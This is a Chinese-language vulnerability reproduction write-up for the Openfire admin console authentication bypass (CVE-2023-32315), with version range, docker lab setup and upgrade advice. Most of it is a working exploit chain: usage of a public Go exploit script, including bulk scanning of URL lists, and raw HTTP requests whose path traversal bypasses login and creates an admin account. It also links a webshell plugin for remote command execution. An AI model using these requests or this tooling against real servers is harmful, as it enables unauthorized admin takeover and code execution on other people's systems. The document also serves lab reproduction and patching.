0x01 产品简介
Openfire是免费的、开源的、基于可拓展通讯和表示协议(XMPP)、采用Java编程语言开发的实时协作服务器。Openfire安装和使用都非常简单,并利用Web进行管理。单台服务器甚至可支持上万并发用户。
0x02 漏洞概述
Openfire的管理控制台是一个基于 Web 的应用程序,被发现可以使用路径遍历的方式绕过权限校验。成功利用后,未经身份验证的用户可以访问 Openfire 管理控制台中的后台页面。同时由于Openfire管理控制台的后台提供了安装插件的功能,所以攻击者可以通过安装恶意插件达成远程代码执行的效果。
0x03 影响范围
3.10.0 <= Openfire < 4.6.8
4.7.0 <= Openfire 4.7.x < 4.7.5
0x04 复现环境
docker搭建Openfire 4.7.4漏洞环境
拉取镜像
docker pull nasqueron/openfire:4.7.4
启动环境
docker run --name openfire -d --restart=always \
--publish 9090:9090 --publish 5222:5222 --publish 7777:7777 \
--volume /srv/docker/openfire:/var/lib/openfire \
nasqueron/openfire:4.7.4
访问环境,需要安装,一直下一步即可
安装完毕
0x05 漏洞复现
Exp脚本:https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass
使用方法:Get项目到有go环境的主机(go版本1.20以上)
cd CVE-2023-32315-Openfire-Bypass/scan_all
go mod tidy #编译脚本获取依懒
单url利用姿势
go run main.go -u http://openfire.com:9090
多url利用姿势
go run main.go -l url.txt -t 20
效果(可直接创建用户名密码)
手动复现
/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
出现这种情况,证明漏洞存在
获取JSESSIONID和csrftoken
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
使用获取到JSESSIONID和csrftoken创建用户
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=I5Mh5Zl1DK2qBGT&username=test123&name=&email=&password=test123&passwordConfirm=test123&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7 HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=node01q1zp5igpjjwd1fd25m8atvtmz12.node0; csrf=I5Mh5Zl1DK2qBGT
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
尝试登录
0x06 漏洞利用
上传openfire shell命令行插件
插件地址:
https://download.csdn.net/download/qq_41904294/87912035
密码"123"点击登录
得到webshell
0x07 修复建议
升级版本至4.6.8或4.7.5及以上
https://github.com/igniterealtime/Openfire/releases
限制网络访问,切勿将 Openfire 管理控制台暴露于互联网,使用网络安全措施,确保只有受信任成员才能访问。